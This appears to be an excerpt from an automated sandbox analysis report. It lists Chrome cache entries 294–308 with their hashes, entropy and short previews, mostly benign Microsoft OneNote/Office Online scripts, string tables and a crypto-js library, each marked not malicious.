Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_core_start"),function(){var e,t,n,o,r,i={29083:function(e,t,n){"use strict";var o;n.d(t,{f:function(){return o}}),function(e){e.depth0="0 0 0 0 transparent",e.depth4="0 1.6px 3.6px 0 rgba(0, 0, 0, 0.132), 0 0.3px 0.9px 0 rgba(0, 0, 0, 0.108)",e.depth8="0 3.2px 7.2px 0 rgba(0, 0, 0, 0.132), 0 0.6px 1.8px 0 rgba(0, 0, 0, 0.108)",e.depth16="0 6.4px 14.4px 0 rgba(0, 0, 0, 0.132), 0 1.2px 3.6px 0 rgba(0, 0, 0, 0.108)",e.depth64="0 25.6px 57.6px 0 rgba(0, 0, 0, 0.22), 0 4.8px 14.4px 0 rgba(0, 0, 0, 0.18)"}(o\|\|(o={}))},31707:function(e,t,n){"use strict";n.d(t,{I:function(){return c}});var o=/[$\[\{\<][^$\]\}\>][\)\]\}\>]/g,r=/[\0-\u001F\!-/:-@\[-`\{-\u00BF\u0250-\u036F\uD800-\uFFFF]/g,i=/^\d+[\d\s](:?ext\|x\|)\s*\d+$/i,s=/\s+/g,a=/[\u0600-\u06FF\u0750-\u077F\u08A0-\u08FF\u1100-\u11FF\u3130-\u318F\uA960-

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	78750
Entropy (8bit):	5.0607329606109674
Encrypted:	false
SSDEEP:	768:+pCmHr0AOKTnbhCxm6Mll0zBSMuEn047nNXcb7GLLWZWxWG6sS6bxiw:+pCydxgxmt98NXcb7GLLCmWsSExn
MD5:	144E3938BE11B62635FE0FBEDFB8F991
SHA1:	19F09E844E8D4C78EF77673943C15D07E02B5378
SHA-256:	D0A7EF0C9073A44AA8E4BD8782692273D08A1F386A032AD2AE5BA0141D7AB72B
SHA-512:	8C4574FACBAF44806A9F2EF978B3B1E310A1DE06AC4A7212AFC26F6D0D09C10E4DE9C0B8FE6C309FF8D3FF26C8A871B182EE4C08985CD410D15AF78E0E3EF542
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/hD0A7EF0C9073A44A_App_Scripts/1033/Box4Intl.js
Preview:	Type.registerNamespace("Box4Intl");Box4Intl.Box4Strings=function(){};Box4Intl.Box4Strings.registerClass("Box4Intl.Box4Strings");Box4Intl.Box4Strings.l_OutlineResizeAlt="Resize the Outline";Box4Intl.Box4Strings.l_NavigationPaneContentsLabel="Notebook Contents";Box4Intl.Box4Strings.l_UntitledPageText="Untitled Page";Box4Intl.Box4Strings.l_UntitledSection="Untitled Section";Box4Intl.Box4Strings.l_NotebookPagesSection="General Pages";Box4Intl.Box4Strings.l_ProtoButtonText="New Page";Box4Intl.Box4Strings.l_SectionGroupAltText="Section Group";Box4Intl.Box4Strings.l_SectionGroupArrowAltText="Navigate Up";Box4Intl.Box4Strings.l_DefaultUserName="Unknown User";Box4Intl.Box4Strings.l_UserInitialsDelimeter="; ";Box4Intl.Box4Strings.l_PageLoadingText="Loading...";Box4Intl.Box4Strings.l_OreoSpinnerText="Loading Page...";Box4Intl.Box4Strings.l_ConflictPage="Conflict Page";Box4Intl.Box4Strings.l_PageAccessibilityContext="Page {0}";Box4Intl.Box4Strings.l_PageWithSearchResultsAccessibilityContext="Page

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38319), with no line terminators
Category:	dropped
Size (bytes):	38319
Entropy (8bit):	4.894144984125977
Encrypted:	false
SSDEEP:	768:N4k0JvWptT2z2p9GmkNqJ3htY1xYhwn5n9O:CJOptT2Sp9v7htY1xYC5n9O
MD5:	51750E48816F1EC30133B634C2596216
SHA1:	ADCC6F7E3CE25657E15ACE3BF2F941D69D1A5575
SHA-256:	F9D844D7F9BC50FFDE02FF10BD265CD7682FA52C942DA4C989AD4AC6BBDF5094
SHA-512:	A91CB85B094F8B9F71B51E6CD2D18F4B24F6AAE61B32AB3021983D5C184A1AF77E45092608BE00DA667BAE5F44CE648232D21A0AC1EE2703A0115F7AB6B08626
Malicious:	false
Reputation:	low
Preview:	Type.registerNamespace("OneNoteIntl");OneNoteIntl.OneNoteStrings=function(){};OneNoteIntl.OneNoteStrings.registerClass("OneNoteIntl.OneNoteStrings");OneNoteIntl.OneNoteStrings.L_CloudFilesUploadSuccess="Successfully Uploaded : {0}";OneNoteIntl.OneNoteStrings.L_CloudFilesUploadFailed="Error Uploading : {0}";OneNoteIntl.OneNoteStrings.L_ContextMenuSmartLookup="Search";OneNoteIntl.OneNoteStrings.L_ContextMenuTextSmartLookup='Search "{0}"';OneNoteIntl.OneNoteStrings.L_BrowseVersions="Page Versions";OneNoteIntl.OneNoteStrings.L_Camera="Camera";OneNoteIntl.OneNoteStrings.L_CopyNotebook="Copy Notebook";OneNoteIntl.OneNoteStrings.L_HierarchySyncErrorMessage="The new experimental sync feature has experienced an error and your change may not be saved.";OneNoteIntl.OneNoteStrings.L_HierarchySyncErrorRefreshMessage="Please click here or refresh the webpage to resolve the issue.";OneNoteIntl.OneNoteStrings.L_CopyToCloudDescription="Edit and view this notebook on all your devices";OneNoteIntl.OneNot

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65443)
Category:	downloaded
Size (bytes):	729226
Entropy (8bit):	5.519121650871897
Encrypted:	false
SSDEEP:	6144:monR5X13bZ1DthVQcch0FDmo+n73+n7V5VXss/Vk5rEvXTM4YxEY/U9RLFuS27h:monR51HV8MIr+F0
MD5:	252E6811824952CA13EEB11A17F6A9C4
SHA1:	D8F34D51451179EFD51BF0BB405AE9FC1C23A8DF
SHA-256:	A81023797B625FB4F2D11864FF7F43009F15DBE3F52DC4E143A0B1884077E995
SHA-512:	520D13DB7C902B275129CEF7F3D1187FDBD636A3B110DA0C5AC3301260EE6B8A083A3491B8C82DDBD57739D712C016FF24B81AB5E8234DA3CF070331DD0F0B9F
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/Feedback/latest/officebrowserfeedback_floodgate.js
Preview:	/! For license information please see officebrowserfeedback_floodgate.min.js.LICENSE.txt /.!function(e){var t={};function A(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,A),r.l=!0,r.exports}A.m=e,A.c=t,A.d=function(e,t,n){A.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},A.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},A.t=function(e,t){if(1&t&&(e=A(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(A.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)A.d(n,r,function(t){return e[t]}.bind(null,r));return n},A.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return A.d(t,"a",t),t},A.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},A.p="",A(A.s=

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65394)
Category:	dropped
Size (bytes):	91802
Entropy (8bit):	5.3603423050848615
Encrypted:	false
SSDEEP:	1536:C4F18VDgLMcb+0XbPN1xlJGFqCN3tcULcUoHfe:C4F18VDgLN9LN1mTn
MD5:	CF5CC7F4B57526CC37893DCB83DED031
SHA1:	E953783BE0A7894585778455AAE3D0DF094D6F29
SHA-256:	3A790B6C0D26D7A4D292CB27F992EAFAFF42C37E9318B2AB704207039127FCB8
SHA-512:	2320F9D7811CD773C1E5C2E95A31B39E9FF62A2FA7CA431975873DAB57AE42A75BA720D15AEB47FA2EA127D0766EB5AA15040CFFD04BF7A8CB8BCD7236069C40
Malicious:	false
Reputation:	low
Preview:	/!. 1DS JS SDK Shared Analytics, 3.2.18. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeControl3",s=(s=e)[c]=s[c]\|\|{},l=(l=e)[c="oneDsMeControl"]=l[c]\|\|{},e=s[i]=s[i]\|\|{},f=e.v=e.v\|\|[],c=l[i]=l[i]\|\|{},d=c.v=c.v\|\|[];for(t in(c.o=c.o\|\|[]).push(o),n(r),r)s[t]=r[t],f[t]=u,l[t]=r[t],d[t]=u,(a.n=a.n\|\|[]).push(t)}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var y="function",m="object",se="undefined",C="prototype",I="hasOwnProperty",b=Object,S=b[C],x=b.assign,w=b.create,n=b.defineProperty,_=S[I],T=null;function O(e){e=!1===(e=void 0===e\|\|e)?null:T;return e\|\|((e=(e=(e=typeof globalThis!==se?globalThis:e)\|\|typeof self===se?e:self)\|\|typeof window===se?e:window)\|\|typeof global===se\|\|(e=global),T=e),e

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64762), with CRLF line terminators
Category:	downloaded
Size (bytes):	708480
Entropy (8bit):	5.282708330463167
Encrypted:	false
SSDEEP:	6144:P19A77uzAFNPZkKhCdb78g1+0OZJxi/FdgR4/6B5T5Yeh:Y1ZkKh59M6Ft
MD5:	6360B09DC87925D59B7780B5F6D5C59E
SHA1:	A2AA60A5FC87D851433E348B885727E2A207BFD9
SHA-256:	54E5667E72FF009E653ACA8753B8769732F70541ECE628C40B129141A9C57FC8
SHA-512:	82929CC52669D620D58E85435D84A6C2619C3F5C7FF9DA1F58043AC780C038AA73D243AA0C6D2764837F00C8105F004CFE78DA92A5A4D6DBCD54BCC0CA6DC8D8
Malicious:	false
Reputation:	low
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/onenote-web-16.00.js
Preview:	/...Copyright (c) Microsoft Corporation. All rights reserved.../..../...Your use of this file is governed by the license terms for the Microsoft Office JavaScript (Office.js) API library: https://github.com/OfficeDev/office-js/blob/release/LICENSE.md../..../.. @overview es6-promise - a tiny implementation of Promises/A+...* @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)..* @license Licensed under MIT license..* See https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE..* @version 2.3.0..*/......// Sources:..// osfweb: 16.0\16.0.17901.15000..// runtime: 16.0\16.0.17901.15000..// core: 16.0\16.0.17901.15000..// host: 16.0\16.0.17901.15000........var OfficeExt,__extends=this&&this.__extends\|\|function(){var e=function(t,n){return(e=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (29013)
Category:	downloaded
Size (bytes):	384082
Entropy (8bit):	4.8407404546884
Encrypted:	false
SSDEEP:	3072:xs7O1FxkYF/YDP3VeftWqldpPkTGzHx1AHLRobPRGe+Wqddp4sXfsXJsGC7ag/2v:aq1FWVJGDZxg0Gfbje
MD5:	09CBE2E81826118D5836127869D213DC
SHA1:	08B7CC01AFF80C77C798AC1A0483EE5092EB6A07
SHA-256:	CE87FC076CCEFF245E049A580AAA2831144941695E4E5EA897FEAB0DF89B458F
SHA-512:	738ED0F782972D41724BB53BA91F195F52923B4B1F2125BDDBED4CC6B0DE992FC9F62AA4899DFDA97FFF31926425ECEED34640E8E435B45F7D17CD8FA05EC183
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/1033/onenote-ribbon-intl.min.js
Preview:	var OnenoteRibbonStrings={About:"About",AboutKeytip:"D",Accessibility:"Accessibility",AddInsKeytipPrefix:"Y",AdditionalControls:"Additional Controls",AlignLeft:"Align Left",AlignLeftKeytip:"AL",AlignRight:"Align Right",AlignRightKeytip:"AR",AltText:"Alt Text",AltTextKeytip:"E",AltTextTableStandalone:"Edit Table Alt Text",AudioTabTitle:"Record & Playback",AutoCorrectOptions:"AutoCorrect Options...",AutoCorrectOptionsKeytip:"AC",Automatic:"Automatic",AutomaticKeytip:"A",Back15Seconds:"Back 15 Seconds",Back15SecondsKeytip:"B",Bold:"Bold",BoldKeytip:"1",BrowseVersions:"Page Versions",BrowseVersionsKeytip:"V",BulletLibraryTitle:"Bullet Library",BulletStyle1:"Solid",BulletStyle1Keytip:"S",BulletStyle2:"Hollow",BulletStyle2Keytip:"H",BulletStyle3:"Square",BulletStyle3Keytip:"B",ButtonOfficeAddins:"Office Add-ins",CentimeterUnitPlaceholder:"{0} cm",Checklist:"Checklist",ChecklistKeytip:"CL",BulletedList:"Bulleted list",BulletedListKeytip:"BL",NumberedList:"Numbered list",NumberedListKeytip:"NL

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (18992), with CRLF line terminators
Category:	dropped
Size (bytes):	19181
Entropy (8bit):	4.3590974373798
Encrypted:	false
SSDEEP:	384:im1leaXgjDSEcE+fg1gKzqF9meWFaUOKco5FXp/kf/oezD:b1leajD0kiDlgMJkIy
MD5:	D9604CC18F364A6ADE707B7FAAEC642C
SHA1:	F38F0B94764184D4373886FDA1CA87D352BFCE5A
SHA-256:	F282423F48F12F56419363384F3B10002C8D3D106BC1AC8FF721602AA2B2FD9B
SHA-512:	7B305607B79F077539E3C37CD46EAFBB9E4C9B2A8825217187515CD20FFBFE204BAC43E918CD4440EB65A3A2DCFFC4140D06B43845613D48566448765B3D5DF4
Malicious:	false
Reputation:	low
Preview:	.var AutoCorrectList={"(c)":".","(r)":".","(tm)":".","...":".","abbout":"about","abotu":"about","abouta":"about a","aboutit":"about it","aboutthe":"about the","abscence":"absence","accesories":"accessories","accidant":"accident","accomodate":"accommodate","accordingto":"according to","accross":"across","acheive":"achieve","acheived":"achieved","acheiving":"achieving","acn":"can","acommodate":"accommodate","acomodate":"accommodate","actualyl":"actually","additinal":"additional","addtional":"additional","adequit":"adequate","adequite":"adequate","adn":"and","advanage":"advantage","affraid":"afraid","afterthe":"after the","againstt he":"against the","aganist":"against","aggresive":"aggressive","agian":"again","agreemeent":"agreement","agreemeents":"agreements","agreemnet":"agreement","agreemnets":"agreements","agressive":"aggressive","ahppen":"happen","ahve":"have","allwasy":"always","allwyas":"always","almots":"almost","almsot":"almost","alomst":"almost","alot":"a lot","alraedy":

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41116)
Category:	downloaded
Size (bytes):	41140
Entropy (8bit):	5.513380748841639
Encrypted:	false
SSDEEP:	768:2ox/6ef5WhPJ76SqwRltw7u0kBQrKeTgVzVyh4Hs2V7M3B3:2i5WhIIl2K6VUhyhR2V74N
MD5:	08FBFF79B5EEC28DDFF4D772223B81A9
SHA1:	AAABD7E0B32698E8295139C4868E9AEE5EDBD112
SHA-256:	773A678845579E6334F19D4E62F29446E7898BD816359C74574E37884503F909
SHA-512:	F94A2C8D756313A616F4E3DBDB9661AF3CC843F74CF066243C649F943E4AEAB696E01E37E33CC57DF16F73504B529702D28C779931ADC2630C6D4FD318FFDDC7
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161790740450_Scripts/CommonDiagnostics.js
Preview:	/! Version=16.0.0.0 /.if(!window)window=this;var Type=Function;window.Type=Type;Array.$F=function(a,b){a.push(b)};Array.clear=function(a){a.length=0};Array.$1n=function(a,b){return Array.$1L(a,b)>=0};Array.$1L=function(c,e,a){if(c.indexOf)return c.indexOf(e,a);a=a;if(isNaN(a))a=0;var d=c.length;if(isFinite(a))a=a\|0;if(a<0)a=Math.max(0,d+a);for(var b=a;b<d;b++)if(c[b]===e)return b;return-1};Array.dequeue=function(a){return a.shift()};Array.enqueue=function(a,b){Array.$F(a,b)};Array.$2O=function(b,c){var a=Array.$1L(b,c);a>=0&&Array.$1y(b,a);return a>=0};Array.$1y=function(a,b){a.splice(b,1)};Array.__typeName="Array";Array.$1c=true;Boolean.__typeName="Boolean";Boolean.$1c=true;Date.$26=function(f,c){for(var d=0,a=false,b=0,g=f.length;b<g;b++){var e=f.charAt(b);switch(e){case"'":if(a)c.$0("'");else d++;a=false;break;case"\\":a&&c.$0("\\");a=!a;break;default:c.$0(e.toString());a=false}}return d};Date.$2E=function(a,b){if(!b)b="F";if(b.length===1)switch(b){case"d":return a.ShortDatePatter

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	dropped
Size (bytes):	291923
Entropy (8bit):	5.339646656673208
Encrypted:	false
SSDEEP:	6144:CrQUjLm+AvPSIoPaKKmMlHhcGt4V3pgYh:CsUjtKJlHG
MD5:	2C206E459DA8A3BB1F6754E6490F3A28
SHA1:	D81ECA141626A961B33E0B3D182B629F82903456
SHA-256:	1AF313E9BFC94CCC15838E515C0BC7846715B670D3DD8A0A9366CA6979470342
SHA-512:	077AE6D1AFD4B14843582885AA43270138EEE7AB148D1AD210F9B36ED657D865EBE82D79C6E172DA9BFFBD45A8F7D932D77BBD49FC249FA6760F36C9F6FF711E
Malicious:	false
Reputation:	low
Preview:	function _define_property(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}function _object_spread(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},i=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),i.forEach((function(e){_define_property(t,e,r[e])}))}return t}(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[848],{89153:function(t,e,r){t.exports={default:r(51802),__esModule:!0}},26396:function(t,e,r){t.exports={default:r(47219),__esModule:!0}},94349:function(t,e,r){t.exports={default:r(89348),__esModule:!0}},59583:function(t,e,r){t.exports={default:r(98460),__esModule:!0}},38427:function(t,e,r){t.exports={default:r(12304),__esModule:!0}},53898:function(t,e,r){t.exports={default:r(97948),__esModule:!0}},48927:function(t,e,r){t.exports=

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42918)
Category:	dropped
Size (bytes):	211355
Entropy (8bit):	5.527377775987756
Encrypted:	false
SSDEEP:	3072:G0xHuD2JP5K3klIEXSTfgQv64hW7tvXZ0LGu0tXLo8HxZVv:9uDOY3kGmSLglDpoWXLo8l
MD5:	560BCEBF4A0C8397D7F4685393D64532
SHA1:	F4AD19103A97C4DA6185BAE2DF0D7A7831A1F95D
SHA-256:	6F7011E775C816B2DDF8E6F53A32035BCB80488AE675B85AE58744F83924D0D1
SHA-512:	B2493B5F09B2E5CFE35A98582073E7D35A05B51E122DD867249577D888C395759712FE5FABA9CDD33E790E2FF2D2456480D0BEDBA06D8F3E507084C13906BA94
Malicious:	false
Reputation:	low
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_plus_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["plus"],{64878:function(e,t,n){(t=e.exports=n(72060)(!1)).push([e.id,'.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\={display:-ms-flexbox;display:flex;-ms-flex-direction:row;flex-direction:row;border:1px solid hsla(0,0%,100%,0);box-shadow:0 1px 2px 0 rgba(0,0,0,.1);box-sizing:border-box;width:276px;padding-left:0;align-items:flex-start;margin:0 0 17px 16px}html[dir=rtl] .o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\={margin-left:0;margin-right:16px}.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\=:hover{-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.1);box-shadow:0 8px 16px 0 rgba(0,0,0,.1)}.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\=>button{min-width:30px;width:30px;height:36px;paddi

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (56385)
Category:	dropped
Size (bytes):	199053
Entropy (8bit):	5.092874155657028
Encrypted:	false
SSDEEP:	6144:h5IoymwzWHXzZnoK5fMO6kvBoKrpQmK4Zbwmk29X9vvNCYzRtZ:VwOoK5fMO6kvBoKrpQmK4Zbwmk29X9vZ
MD5:	903DACFBC953A7A420B7FD642B81C739
SHA1:	78B734706728C6027544C53E860646812DD5A4A9
SHA-256:	E4382762F22F1A9A8EB69D8F1AF8973B02795BBFA0DF551F667316EF97D1B74A
SHA-512:	52330BF957FA81CC47FEBC4EE215EB1B1A4F987A63C938A8034308C26C75F2118EAA93B6D71B252B8E7D0308841A0FC2BC1302907F8A8572A4A0B17F23144CD6
Malicious:	false
Reputation:	low
Preview:	var CommonStrings={qpsPloc_Name:"Pseudo",qpsPloca_Name:"Pseudo (Pseudo Asia)",qpsPlocm_Name:"Pseudo (Pseudo Mirrored)",afrikaans:"Afrikaans",albanian:"Albanian",alsatian:"Alsatian",amharic:"Amharic",arabic:"Arabic",arabic_Algeria:"Arabic (Algeria)",arabic_Bahrain:"Arabic (Bahrain)",arabic_Egypt:"Arabic (Egypt)",arabic_Iraq:"Arabic (Iraq)",arabic_Jordan:"Arabic (Jordan)",arabic_Kuwait:"Arabic (Kuwait)",arabic_Lebanon:"Arabic (Lebanon)",arabic_Libya:"Arabic (Libya)",arabic_Morocco:"Arabic (Morocco)",arabic_Oman:"Arabic (Oman)",arabic_Qatar:"Arabic (Qatar)",arabic_Saudi_Arabia:"Arabic (Saudi Arabia)",arabic_Syria:"Arabic (Syria)",arabic_Tunisia:"Arabic (Tunisia)",arabic_UAE:"Arabic (U.A.E.)",arabic_Yemen:"Arabic (Yemen)",armenian:"Armenian",assamese:"Assamese",azerbaijani:"Azerbaijani",azerbaijani_Cyrillic:"Azerbaijani (Cyrillic)",azerbaijani_Latin:"Azerbaijani (Latin)",bangla_Bangladesh:"Bangla (Bangladesh)",bangla_India:"Bangla (India)",bashkir:"Bashkir",basque:"Basque",belarusian:"Bela

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (645)
Category:	dropped
Size (bytes):	5039180
Entropy (8bit):	5.683099892465936
Encrypted:	false
SSDEEP:	49152:liuaAEpce7MDScJ+CCuQKHO0iOIXWcLcJ/vmtNsiXxy/c15wWlms7DHqjXRytKn3:4+GAA/AAYr
MD5:	598DC8880C603E79C1B3DFE49F350C5B
SHA1:	D6932375BBBDD063F0D21BC5EFB4AD4EF96F4352
SHA-256:	E092932DC89E7EC8C2183EF9902658F047F35248A20D9C5E099674AC169F9DB8
SHA-512:	759137DD0895A369ECA206D4AAF20CFDEB13B2496F3D89F52ACE768695FB3BEFE636BF4BD7D925EBD9A924FC10AB91B10D793709AA86B546AB3A3944E1CCD393
Malicious:	false
Reputation:	low
Preview:	/. Microsoft Corporation. All rights reserved.. The buffer module from node.js, for the browser... @author Feross Aboukhadijeh <https://feross.org>. @license MIT. ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> https://mths.be/punycode v1.4.1 by @mathias Copyright (c) Microsoft Corporation and contributors. All rights reserved.. Licensed under the MIT License../.'use strict';function ve(Ba){var $a=0;return function(){return $a<Ba.length?{done:!1,value:Ba[$a++]}:{done:!0}}}var $G="function"==typeof Object.defineProperties?Object.defineProperty:function(Ba,$a,R){if(Ba==Array.prototype\|\|Ba==Object.prototype)return Ba;Ba[$a]=R.value;return Ba};.function aH(Ba){Ba=["object"==typeof globalThis&&globalThis,Ba,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var $a=0;$a<Ba.length;++$a){var R=Ba[$a];if(R&&R.Math==Math)return R}throw Error("Cannot find global object");}var rH=aH(this);.function uH(Ba,$a){if

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35604), with CRLF line terminators
Category:	dropped
Size (bytes):	65136
Entropy (8bit):	5.347263720753429
Encrypted:	false
SSDEEP:	768:ETarIzLYTfoY5iwkD9Hr09qZsOlcJoPBP3vmT7GOeXGj3cRUOMJGXX3FouZoGfx0:EOczSghVzXgoUaPsP
MD5:	35448408DD86553C3D20E157A52E3945
SHA1:	2FCD1F428172F9064C15011328A1A1B3743A3C0C
SHA-256:	626BF3CC638CD7147D8BFEA55593B81103ED28C4EDAE01967C830621A22CB01E
SHA-512:	28D5CB8F3F5E8C3332A54247F80436662E7887652B170198308276D525FD6431B5FD15992588B9093549CD8753BB35BAEE0E19229D449A361AE25251DBED3D7C
Malicious:	false
Reputation:	low
Preview:	var OSFPerformance;..(function (OSFPerformance) {.. OSFPerformance.officeExecuteStartDate = 0;.. OSFPerformance.officeExecuteStart = 0;.. OSFPerformance.officeExecuteEnd = 0;.. OSFPerformance.hostInitializationStart = 0;.. OSFPerformance.hostInitializationEnd = 0;.. OSFPerformance.totalJSHeapSize = 0;.. OSFPerformance.usedJSHeapSize = 0;.. OSFPerformance.jsHeapSizeLimit = 0;.. OSFPerformance.getAppContextStart = 0;.. OSFPerformance.getAppContextEnd = 0;.. OSFPerformance.createOMEnd = 0;.. OSFPerformance.officeOnReady = 0;.. OSFPerformance.hostSpecificFileName = "";.. function now() {.. if (performance && performance.now) {.. return performance.now();.. }.. else {.. return 0;.. }.. }.. OSFPerformance.now = now;.. function getTotalJSHeapSize() {.. if (typeof (performance) !== 'undefined' && performance.memory) {.. return performance.memory.totalJSHeapSize;.. }..

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 452 x 444, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51120
Entropy (8bit):	7.954718383506729
Encrypted:	false
SSDEEP:	1536:fAXURb/VRlg/u3OD+RerLnSFFFCX8iarUMpu:f/VNfO2Ocerbdv/Mpu
MD5:	ECA50172A6583B16E553E9917FB710FB
SHA1:	2FD7FB2FF5C10E17E9066CE6BD2393E1F6B93CC0
SHA-256:	FFF5919A2CBACEAE0528522B6C73E4F1D549CA8EE13C680B50ED377DFD2B61F0
SHA-512:	1E7591A35DE7C00A197C08F15BA9ED7A9014EFFEF03DB240A92B63F8A8EC8DAE8F02811C8E9696FA934E6C4EFCBBBA14F2D01082A63471092488850A2D16958B
Malicious:	false
Reputation:	low
